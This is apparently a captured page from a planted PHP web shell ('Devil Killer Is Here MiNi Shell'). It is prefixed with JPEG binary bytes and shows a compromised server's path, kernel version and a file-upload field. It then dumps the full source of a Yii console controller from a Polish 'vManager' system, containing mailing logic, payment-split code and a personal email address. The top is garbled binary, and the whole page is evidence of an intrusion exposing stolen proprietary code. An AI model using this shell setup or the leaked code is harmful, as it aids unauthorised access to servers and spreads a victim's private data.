JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/console/controllers/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : //home/vmanager/www/console/controllers/CheckingController.php

<?php

namespace console\controllers;

use \Yii;
use \yii\console\Controller;
use yii\console\ExitCode;

class CheckingController extends Controller
{    
    use \common\components\traits\DirectoriesFunctions;
    
    public $testEmail;
    
    public $limit;
    public $offset;
    
    public function options($actionID)
    {
        switch($actionID) {
            case 'ending-advertisements':
                return ['testEmail'];
            case 'ending-banners':
                return ['testEmail'];
            case 'ending-banners-reservations':
                return ['testEmail'];
            case 'expired-banners':
                return ['testEmail'];
            case 'ending-top-companies':
                return ['testEmail'];
            case 'ending-top-products':
                return ['testEmail'];
            case 'ending-recommended-books':
                return ['testEmail'];
            case 'expired-top-companies':
                return ['testEmail'];
            case 'expired-top-products':
                return ['testEmail'];
            case 'expired-recommended-books':
                return ['testEmail'];
            case 'external-websites-changes':
                return ['testEmail'];
            case 'ssl-for-companies-websites':
                return ['limit', 'offset'];
            default:
                return [];
        }
    }
    
    public function optionAliases()
    {
        return [
//            'email' => 'testEmail'
        ];
    }
    
    public function actionEndingBanners()
    {
        $actualDateTemp = new \DateTime();
        $actualDate = $actualDateTemp->format('Y-m-d');
        $futureDate = $actualDateTemp->add(new \DateInterval('P5D'))->format('Y-m-d');
                
//        $sql = 'SELECT banners.id_banner, banners.id_company, banners.id_portal, banners.location, banners.views_limit, banners.date_end, banners.url, companies.name AS company_name '
//                . 'FROM banners '
//                . 'INNER JOIN companies ON companies.id_company = banners.id_company'
//                . 'WHERE '
//                    . 'AND banners.status = \''.(\common\models\types\Status::ACTIVE).'\' '
//                    . 'AND ((banners.date_end >= \''.$actualDate.'\' AND banners.date_end <= \''.$futureDate.'\') OR (banners.views_limit IS NOT NULL AND banners.views_limit < 50))'
//                . 'ORDER BY banners.date_end ASC ';
//
//        $banners = Yii::$app->db->createCommand($sql)->queryAll();
        
        $modelsBanners = \common\models\Banners::find()
                ->with(['company'])
                ->where(['status' => \common\models\types\Status::ACTIVE])
                ->andWhere([
                    'or', 
                    [
                        'and', 
                        ['>=', 'date_end', $actualDate], 
                        ['<=', 'date_end', $futureDate],
                    ], 
                    [
                        'and',
                        ['not', ['views_limit' => null]],
                        ['<', 'views_limit', 50]
                    ]
                ])
                ->all();

        if(empty($modelsBanners)) {
            $this->stdout('Brak danych do przetworzenia.');
            return ExitCode::OK;
        }
        
        $portalsData = \common\models\Portals::find()->select(['id_portal', 'domain', 'id_user'])->orderBy('domain')->indexBy('id_portal')->asArray()->all();
        $bannersLocationsLabels = \common\models\types\BannerLocation::getValuesWithLabels();
        
        $lukaszEmail = $this->getLukaszEmail();
        
        foreach($modelsBanners as $modelBanner) {
            $portalData = $portalsData[$modelBanner->id_portal];
            
            $emails = $this->getEmailsForOperatorsOrPortalPatrons($modelBanner->id_company, $portalData['id_user']);
            if(empty($emails)) {
                $emails = [$lukaszEmail];
            } else {
                $emails = array_unique(array_merge([$lukaszEmail], $emails));
            }
            
            //wysyłamy email z przypomnieniem o wygasającym banerze (###MAIL_51###)
            $mailer = Yii::$app->mailer;
            $mailer->htmlLayout = false;      
            $mailer->textLayout = false; 
            
            $message = $mailer->compose(
                [
                    'html' => 'banner_reminder_html',
                    'text' => 'banner_reminder_text'
                ],
                [
                    'model' => $modelBanner,
                    'location' => $bannersLocationsLabels[$modelBanner->location],
                    'domain' => $portalData['domain'],
                ]
            )
            ->setFrom([Yii::$app->params['noReplyEmail'] => 'System vManager'])
            ->setSubject(Yii::t('common-mails', 'Zbliża się termin wyłączenia baneru firmy {companyName} na portalu {domain}', ['companyName' => $modelBanner->company->name, 'domain' => $portalData['domain']])); 

            if(!empty($this->testEmail)) {
                $message->setTo([$this->testEmail => $this->testEmail]);
                $message->setSubject($message->getSubject().' - dla: '.implode(", ", $emails));
            } else {
                $message->setTo($emails);
            }

//            $this->stdout('Sending email on addresses: '.implode(", ", $emails)."\r\n");           
//                $message->setTo(['r.sobieszczyk86@gmail.com' => $recipientName]);
//                continue;

            //wysyłamy wiadomość 
            $flag = $message->send();
//            $this->stdout(" - ".(($flag) ? 'OK' : 'FAIL')." \n");

            if($flag) {
//                    Yii::$app->db->createCommand('UPDATE advertisements SET or_sent_reminder = 1 WHERE id_advertisement = '.$advertisement['id_advertisement'])->execute();
            } else {
                $this->stderr('Błąd podczas wysyłania e-maila.');
                return ExitCode::UNSPECIFIED_ERROR;
            }
        }
        
        return ExitCode::OK;
    }
    
    public function actionExpiredBanners()
    {
        $actualDateTemp = new \DateTime();
        $actualDate = $actualDateTemp->format('Y-m-d');
        
        $modelsBanners = \common\models\Banners::find()
                ->with(['company'])
                ->where(['status' => \common\models\types\Status::ACTIVE])
                ->andWhere([
                    'or', 
                    ['<=', 'date_end', $actualDate],
                    [
                        'and',
                        ['not', ['views_limit' => null]],
                        ['<', 'views_limit', 2]
                    ]
                ])
                ->all();

        if(empty($modelsBanners)) {
            $this->stdout('Brak danych do przetworzenia.');
            return ExitCode::OK;
        }
        
        $lukaszEmail = $this->getLukaszEmail();
        
        $portalsData = \common\models\Portals::find()->select(['id_portal', 'domain', 'id_user'])->orderBy('domain')->indexBy('id_portal')->asArray()->all();
        $bannersLocationsLabels = \common\models\types\BannerLocation::getValuesWithLabels();
        
        foreach($modelsBanners as $modelBanner) {
            $portalData = $portalsData[$modelBanner->id_portal];
            
            $emails = $this->getEmailsForOperatorsOrPortalPatrons($modelBanner->id_company, $portalData['id_user']);
            if(empty($emails)) {
                $emails = [$lukaszEmail];
            } else {
                $emails = array_unique(array_merge([$lukaszEmail], $emails));
            }
            
            //wysyłamy email z przypomnieniem o wygasającym banerze (###MAIL_51###)
            $mailer = Yii::$app->mailer;
            $mailer->htmlLayout = false;      
            $mailer->textLayout = false; 
            
            $message = $mailer->compose(
                [
                    'html' => 'banner_expiration_html',
                    'text' => 'banner_expiration_text'
                ],
                [
                    'model' => $modelBanner,
                    'location' => $bannersLocationsLabels[$modelBanner->location],
                    'domain' => $portalData['domain'],
                ]
            )
            ->setFrom([Yii::$app->params['noReplyEmail'] => 'System vManager'])
            ->setSubject(Yii::t('common-mails', 'Wygasł baner firmy {companyName} na portalu {domain}', ['companyName' => $modelBanner->company->name, 'domain' => $portalData['domain']])); 

            if(!empty($this->testEmail)) {
                $message->setTo([$this->testEmail => $this->testEmail]);
                $message->setSubject($message->getSubject().' - dla: '.implode(", ", $emails));
            } else {
                $message->setTo($emails);
            }

//            $this->stdout('Sending email on addresses: '.implode(", ", $emails)."\r\n");           
//                $message->setTo(['r.sobieszczyk86@gmail.com' => $recipientName]);
//                continue;

            //wysyłamy wiadomość 
            $flag = $message->send();
//            $this->stdout(" - ".(($flag) ? 'OK' : 'FAIL')." \n");

            if($flag) {
                $modelBanner->status = \common\models\types\Status::INACTIVE;
                $modelBanner->save(false);
            } else {
                $this->stderr('Błąd podczas wysyłania e-maila.');
                return ExitCode::UNSPECIFIED_ERROR;
            }
        }
        
        return ExitCode::OK;
    }
    
    public function actionEndingBannersReservations()
    {        
        $futureDate = (new \DateTime())->add(new \DateInterval('P5D'))->format('Y-m-d');
        
        $modelsBannersReservations = \common\models\BannersReservations::find()
                ->with(['user', 'company', 'portal'])
                ->where([
                    'or_sent_reminder' => 0,
                    'filename' => null
                ])
                ->andWhere(['<=', 'date_start', $futureDate])
                ->all();

        if(empty($modelsBannersReservations)) {
            $this->stdout('Brak danych do przetworzenia.');
            return ExitCode::OK;
        }
        
        $bannersLocationsLabels = \common\models\types\BannerLocation::getValuesWithLabels();
        
        foreach($modelsBannersReservations as $modelBannerReservation) {            
            $email = $this->getEmailByLogins($modelBannerReservation->user->login);
            if(empty($email)) {
                continue;
            } 
            
            //wysyłamy email z przypomnieniem o zbliżającej się publikacji banera na podstawie rezerwacji (###MAIL_87###)
            $mailer = Yii::$app->mailer;
            $mailer->htmlLayout = false;      
            $mailer->textLayout = false; 
            
            $message = $mailer->compose(
                [
                    'html' => 'banner_reservation_reminder_html',
                    'text' => 'banner_reservation_reminder_text'
                ],
                [
                    'model' => $modelBannerReservation,
                    'location' => $bannersLocationsLabels[$modelBannerReservation->location],
                ]
            )
            ->setFrom([Yii::$app->params['noReplyEmail'] => 'System vManager'])
            ->setSubject(Yii::t('common-mails', 'Przypomnienie o zbliżającym się terminie publikacji banera dla firmy {companyName}', ['companyName' => $modelBannerReservation->company->name])); 

            if(!empty($this->testEmail)) {
                $message->setTo([$this->testEmail => $this->testEmail]);
                $message->setSubject($message->getSubject().' - dla: '.$email[0]);
            } else {
                $message->setTo($email[0]);
            }

            //wysyłamy wiadomość 
            $flag = $message->send();
            if($flag) {
                Yii::$app->db->createCommand('UPDATE banners_reservations SET or_sent_reminder = 1 WHERE id_reservation = '.$modelBannerReservation->id_reservation)->execute();
            } else {
                $this->stderr('Błąd podczas wysyłania e-maila.');
                return ExitCode::UNSPECIFIED_ERROR;
            }
        }
        
        return ExitCode::OK;
    }
    
    public function actionEndingAdvertisements()
    {
        $actualDateTemp = new \DateTime();
        $actualDate = $actualDateTemp->format('Y-m-d');
        $futureDate = $actualDateTemp->add(new \DateInterval('P3D'))->format('Y-m-d');
                
        $sql = 'SELECT id_advertisement, title, id_portal, id_user, id_company, expiry_date '
                . 'FROM advertisements '
                . 'WHERE or_sent_reminder = 0 '
                    . 'AND status = \''.(\common\models\types\AdvertisementStatus::ACTIVE).'\' '
                    . 'AND expiry_date >= \''.$actualDate.'\' '
                    . 'AND expiry_date <= \''.$futureDate.'\' '
                . 'ORDER BY expiry_date ASC '
                . 'LIMIT 50';

        $advertisements = Yii::$app->db->createCommand($sql)->queryAll();
        
        if(empty($advertisements)) {
            $this->stdout('Brak danych do przetworzenia.');
            return ExitCode::OK;
        }
        
        $modelsPortals = \common\models\Portals::find()->orderBy('domain')->indexBy('id_portal')->all();
        
        foreach($advertisements as $advertisement) {
            $modelPortal = $modelsPortals[$advertisement['id_portal']];
            
            $smtpSettings = $modelPortal->getSettingsKey('smtp_settings');
            if(empty($smtpSettings)) {
                $this->stderr('Brak danych skrzynki pocztowej.');
                return ExitCode::CONFIG;
            }
            
            $recipientEmail = $recipientName = null;
            
            if(!empty($advertisement['id_company'])) {
                $recipientEmail = \common\models\CompaniesContactData::find()
                        ->select(['data_value'])
                        ->where([
                            'id_company' => $advertisement['id_company'],
                            'data_type' => \common\models\types\ContactDataType::EMAIL
                        ])
                        ->orderBy('data_order ASC')
                        ->limit(1)
                        ->scalar();
                if(!empty($recipientEmail)) {
                    $recipientName = \common\models\Companies::find()->select(['name'])->where(['id_company' => $advertisement['id_company']])->scalar();
                }
            }
            
            if(empty($recipientEmail)) {
                $recipientEmail = \common\models\UsersContactData::find()
                        ->select(['data_value'])
                        ->where([
                            'id_user' => $advertisement['id_user'],
                            'data_type' => \common\models\types\ContactDataType::EMAIL,
                            'required' => 1
                        ])
                        ->limit(1)
                        ->scalar();
                if(!empty($recipientEmail)) {
                    $recipientName = \common\models\Companies::find()->select(['name'])->where(['id_company' => $advertisement['id_company']])->scalar();
                }
            }
            
            if(empty($recipientEmail)) {
                $this->stderr('Brak danych niezbędnych do wysłania e-maila.');
                return ExitCode::DATAERR;
            }
            
            if(empty($recipientName)) {
                $recipientName = $recipientEmail;
            }
            
            //wysyłamy email z przypomnieniem o wygasającym ogłoszeniu (###MAIL_41###)
            $mailer = Yii::$app->mailer;
            $mailer->htmlLayout = false;      
            $mailer->textLayout = false; 
            $mailer->transport = (new \Swift_SmtpTransport($smtpSettings['host'], $smtpSettings['port'], $smtpSettings['encryption']))
                ->setUsername($smtpSettings['username'])
                ->setPassword($smtpSettings['password']);
            
                     
                $message = $mailer->compose(
                    [
                        'html' => 'advertisement_reminder_html',
                        'text' => 'advertisement_reminder_text'
                    ],
                    [
                        'title' => $advertisement['title'],
                        'domain' => $modelPortal->domain,
                        'id' => $advertisement['id_advertisement'],
                        'expiryDate' => $advertisement['expiry_date']
                    ]
                )
                ->setFrom([$smtpSettings['username'] => $modelPortal->domain.' - system vManager'])
                ->setSubject(Yii::t('common-mails', 'Zbliżający się termin wygaśnięcia Twoje ogłoszenie nr {id}', ['id' => $advertisement['id_advertisement']])); 
                
                if(!empty($this->testEmail)) {
                    $message->setTo([$this->testEmail => $this->testEmail]);
                    $message->setSubject($message->getSubject().' - dla: '.$recipientEmail.' ('.$recipientName.')');
                } else {
                    $message->setTo([$recipientEmail => $recipientName]);
                }
                
                $this->stdout('Sending email on address: '.$recipientEmail."\r\n");           
//                $message->setTo(['r.sobieszczyk86@gmail.com' => $recipientName]);
//                continue;

                //wysyłamy wiadomość 
                $flag = $message->send();
//                $this->stdout(" - ".(($flag) ? 'OK' : 'FAIL')." \n");

                if($flag) {
                    Yii::$app->db->createCommand('UPDATE advertisements SET or_sent_reminder = 1 WHERE id_advertisement = '.$advertisement['id_advertisement'])->execute();
                } else {
                    $this->stderr('Błąd podczas wysyłania e-maila.');
                    return ExitCode::UNSPECIFIED_ERROR;
                }
        }
        
        return ExitCode::OK;
    }
    
    public function actionExpiredAdvertisements()
    {
        $actualDate = (new \DateTime())->format('Y-m-d');
                
        $sql = 'UPDATE advertisements '
                . 'SET status = \''.(\common\models\types\AdvertisementStatus::INACTIVE).'\' '
                . 'WHERE status = \''.(\common\models\types\AdvertisementStatus::ACTIVE).'\' '
                    . 'AND expiry_date < \''.$actualDate.'\' ';
        
        $num = Yii::$app->db->createCommand($sql)->execute();
        var_dump($num);
        
        return ExitCode::OK;
    }
    
    public function actionSslForCompaniesWebsites()
    {
//        $url_1 = 'https://www.budownictwo.org/';
//        $url_2 = 'http://www.budownictwo.org/';
//        $url_3 = 'https://budownictwo.org/';
//        $url_4 = 'https://budsdsdasdownictwo.org/';
//        
//        $ch = curl_init('http://www.hoffmanelectric.com.pl');
//        curl_setopt($ch,CURLOPT_FOLLOWLOCATION,true);
//        curl_setopt($ch,CURLOPT_MAXREDIRS,3);
//        curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
//        curl_setopt($ch,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0');
//        curl_exec($ch);
//        $finalUrl = curl_getinfo($ch, CURLINFO_EFFECTIVE_URL);
//        $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
//        curl_close($ch);
//        var_dump($code);
//        var_dump($finalUrl);
//        if($code < 200 || $code >= 400) {
//            echo 'nie istnieje';
//        }
//        exit;
        
//        $stream = stream_context_create (array("ssl" => array("capture_peer_cert" => true)));
//        $read = fopen($url_2, "rb", false, $stream);
//        $cont = stream_context_get_params($read);
//        var_dump($cont); exit;
//        $var = ($cont["options"]["ssl"]["peer_certificate"]);
//        $result = (!is_null($var)) ? true : false;
        
        if(empty($this->limit)) {
            $this->stderr("Musisz podać --limit."); 
            exit;
        }
        if(empty($this->offset)) {
            $this->offset = 0;
        }
        
        $changedWWW = [];
        
        $urlValidator = new \yii\validators\UrlValidator(['validSchemes' => ['http', 'https'], 'defaultScheme' => 'http']);
        
        $lastId = file_exists(Yii::getAlias('@runtime/temp/').'last_id_contact_data.txt') ? (int)file_get_contents(Yii::getAlias('@runtime/temp/').'last_id_contact_data.txt') : 0;
        
        $modelsCompaniesContactData = \common\models\CompaniesContactData::find()
//                ->join('INNER JOIN', 'companies', 'companies_contact_data.id_company = companies.id_company AND companies.status = \'aktywny\' ')
                ->where([
                    'data_type' => \common\models\types\ContactDataType::WWW
                ])
                ->andWhere(['>', 'id_contact_data', $lastId])
                ->orderBy('id_contact_data ASC')
                ->limit($this->limit)
//                ->offset($this->offset)
                ->all();

//        $counter = 0;
        $transaction = Yii::$app->db->beginTransaction();
        $newLastId = $lastId;
        foreach($modelsCompaniesContactData as $modelCompanyContactData) {
            if(!$urlValidator->validate($modelCompanyContactData->data_value)) {
//                var_dump($modelCompanyContactData->data_value);
//                exit;
                continue;
            }
            $oldUrl = $modelCompanyContactData->data_value;
            
//            $counter++;
            
            $urlWithoutProtocol = str_replace(['http://', 'https://'], ['', ''], $modelCompanyContactData->data_value);
            $url = 'https://'.$urlWithoutProtocol;
            
            $ch = curl_init($url);
            curl_setopt($ch,CURLOPT_FOLLOWLOCATION,true);
            curl_setopt($ch,CURLOPT_MAXREDIRS,3);
            curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
            curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0');
            curl_setopt($ch,CURLOPT_TIMEOUT,60);
            curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,30);
            curl_exec($ch);
            $finalUrl = curl_getinfo($ch, CURLINFO_EFFECTIVE_URL);       
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            
            if($httpCode < 200 || $httpCode >= 400) {
                $url = 'http://'.$urlWithoutProtocol;

                $ch = curl_init($url);
                curl_setopt($ch,CURLOPT_FOLLOWLOCATION,true);
                curl_setopt($ch,CURLOPT_MAXREDIRS,3);
                curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
                curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0');
                curl_setopt($ch,CURLOPT_TIMEOUT,60);
                curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,30);
                curl_exec($ch);
                $finalUrl = curl_getinfo($ch, CURLINFO_EFFECTIVE_URL);       
                $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
                curl_close($ch);
                
                if($httpCode < 200 || $httpCode >= 400) {
                    echo $url.' -> nie istnieje'."\r\n";
                    
                    $modelOperator = \common\models\Users::find()->where(['login' => 'vm_lukasz'])->one();
                    $emails = Yii::$app->params['emailAddresses']['forRequestToDeleteCompany'];
                    
                    if(!empty($emails)) {
                        $mailer = Yii::$app->mailer;
                        $mailer->htmlLayout = 'layouts/main-html';      
                        $mailer->textLayout = 'layouts/main-text'; 

                        $modelCompany = \common\models\Companies::find()
                                            ->with([
                                                'presentations' => function($q) {
                                                    $q->andWhere(['status' => \common\models\types\Status::ACTIVE]);
                                                },
                                                'presentations.portal'
                                            ])
                                            ->where(['id_company' => $modelCompanyContactData->id_company])
                                            ->one();

                        //wysyłamy email z prośbą o usunięcie firmy do Łukasza (###MAIL_69###) 
                        $mailer->compose(
                                [
                                    'html' => 'operator_request_delete_company_html',
                                    'text' => 'operator_request_delete_company_text'
                                ], 
                                [
                                    'modelCompany' => $modelCompany,
                                    'modelLoggedOperator' => $modelOperator,
                                    'modelsRelationsWithOperators' => $modelCompany->getRelationsWithOperators()->with(['operator'])->all(),
                                    'orExistActivePresentations' => !empty($modelCompany->presentations),
                                    'orExistPaidInvoices' => $modelCompany->getInvoices()->where(['status' => \common\models\types\InvoiceStatus::PAID])->exists(),
                                    'annotations' => 'Zgłoszenie wysłane automatycznie przez skrypt sprawdzający adresy www firm.'
                                ]
                            )
                            ->setFrom([Yii::$app->params['noReplyEmail'] => 'System vManager'])
                            ->setTo($emails)
                            ->setSubject(Yii::t('common-mails', 'Zgłoszono firmę do usunięcia: {companyName} | {operatorName}', ['operatorName' => $modelOperator->forename.' '.$modelOperator->surname, 'companyName' => $modelCompany->name]))
                            ->send();
                    }
                    
                    continue;
                }
            }
            
            $finalUrl = rtrim($finalUrl, '/');            
            
            if($finalUrl !== $oldUrl) {
//                echo $oldUrl.' -> '.$finalUrl."\r\n";
                
                $modelCompanyContactData->data_value = $finalUrl;
                if(!$modelCompanyContactData->validate()) {
                    continue;
                }
                if(!$modelCompanyContactData->save(false)) {
                    $transaction->rollBack();
                    $this->stderr('BLAD PODCZAS AKTUALIZACJI DANYCH KONTAKTOWYCH');
                    exit;
                } else {
                    $changedWWW[] = [
                        'id_company' => $modelCompanyContactData->id_company, 
                        'id_contact_data' => $modelCompanyContactData->id_contact_data,
                        'old_url' => $oldUrl,
                        'new_url' => $finalUrl
                    ];
                    
                }
            }
            
//            if($counter > 1000) {
//                break;
//            }
            $newLastId = $modelCompanyContactData->id_contact_data;
        }
//        $transaction->rollBack();
        $transaction->commit();
        file_put_contents(Yii::getAlias('@runtime/temp/').'last_id_contact_data.txt', (int)$newLastId);
        
        if(!empty($changedWWW)) {
            foreach($changedWWW as $item) {
                Yii::$app->mongodb->getCollection('changed_www')->save($item);
            }
        }
        
//        echo 'OK';
        
        
    }
    
    public function actionFindNonEmptyInquiriesCarts()
    {
        $query = new \yii\mongodb\Query();
        $documents = $query->from('inquiries_temporary')
                ->select(['_id', 'id_portal'])
                ->orWhere(['not', 'products', ['$eq' => []]])
                ->orWhere(['not', 'companies', ['$eq' => []]])
                ->orWhere(['not', 'products_categories', ['$eq' => []]])
                ->orWhere(['not', 'companies_categories', ['$eq' => []]])
                ->all();
        
        if(empty($documents)) {
            $this->stdout('Brak niepustych koszykow EZO.');
            ExitCode::OK;
        }
        
        $countersByPortals = [];
        foreach($documents as $document) {
            if(!isset($countersByPortals[$document['id_portal']])) {
                $countersByPortals[$document['id_portal']] = 0;
            }
            $countersByPortals[$document['id_portal']]++;
        }        

        $this->stdout('Niepuste koszyki EZO.');
        foreach($countersByPortals as $idPortal => $counter) {
            echo 'ID PORTAL #'.$idPortal.': '.$counter."\r\n";
        }

        ExitCode::OK;
    }
    
    public function actionIncompleteDispatchedP24TransfersForBookstoreOrders()
    {
        $modelsPayments = \common\models\UsersPayments::find()
                ->where([
                    'subject_type' => \common\models\types\PaymentSubjectType::BOOKSTORE_ORDER,
                    'split_status' => \common\models\types\PaymentStatus::STARTED
                ])->all();
        if(empty($modelsPayments)) {
            $this->stdout('Brak niewykonanych podziałów płatności dla zamówień w księgarni.');
            ExitCode::OK;
        }
        
        $p24 = Yii::$app->przelewy24New;
        foreach($modelsPayments as $modelPayment) {
            $transaction = Yii::$app->db->beginTransaction();
            
            $p24->clearAll();
            $details = [];
            foreach($modelPayment->params['payments'] as $item) {
                $details[] = [
                    'orderId' => (int)$modelPayment->external_id,
                    'sessionId' => $modelPayment->session_id,
                    'sellerId' => (int)$item['merchant_id'],
                    'amount' => (float)$item['amount']
                ];
            }

            $batchId = \common\models\CollectionsSequences::getNextKey('przelewy24_batch_id');

            $flag = true;
            $flag = $flag && $p24->setPostData('batchId', $batchId);
            $flag = $flag && $p24->setPostData('details', $details);
            if(!$flag) {
                list($errorCode, $errorMessage) = $p24->getError(false);
                $this->stderr('#'.$modelPayment->id_payment.': '.$errorMessage.' ('.$errorCode.')');
                $transaction->rollBack();
                continue;
            }

            $flag = $p24->dispatchTransaction();
            if($flag === false) {
                list($errorCode, $errorMessage) = $p24->getError(false);  
                $this->stderr('#'.$modelPayment->id_payment.': '.$errorMessage.' ('.$errorCode.')');
                $transaction->rollBack();
                continue;
            } 

            $modelPayment->split_status = \common\models\types\PaymentStatus::COMPLETED;
            $modelPayment->save(false);
            
            //@todo
            //może tutaj jakiś mail odnośnie zamówień ?
            
            $modelsOrders = \common\models\BookstoreOrders::find()
                    ->where([
                        'status' => [\common\models\types\BookstoreOrderStatus::NEW_CREATED, \common\models\types\BookstoreOrderStatus::ACCEPTED],
                        'id_order' => $modelPayment->params['ids_orders']
                    ])->all();
            if(!empty($modelsOrders)) {
                foreach($modelsOrders as $modelOrder) {
                    $modelOrder->status = \common\models\types\BookstoreOrderStatus::IN_PROGRESS;
                    $modelOrder->save(false);
                }
            }
            
            $transaction->rollBack();
//        $transaction->commit();
        }
        
        return ExitCode::OK;
    }
    
    public function actionGetCurrentExchangeRates()
    {
        $json = file_get_contents('http://api.nbp.pl/api/exchangerates/tables/c/today/?format=json');
        $data = json_decode($json, true);
        
        if(!empty($data[0])) {
            $transaction = Yii::$app->db->beginTransaction();
            foreach($data[0]['rates'] as $exchangeRate) { 
                $modelCurrencyRate = new \common\models\CurrencyRates(['scenario' => 'create']);
                $modelCurrencyRate->id_currency = $exchangeRate['code'];
                $modelCurrencyRate->buying_rate = $exchangeRate['bid'];
                $modelCurrencyRate->selling_rate = $exchangeRate['ask'];
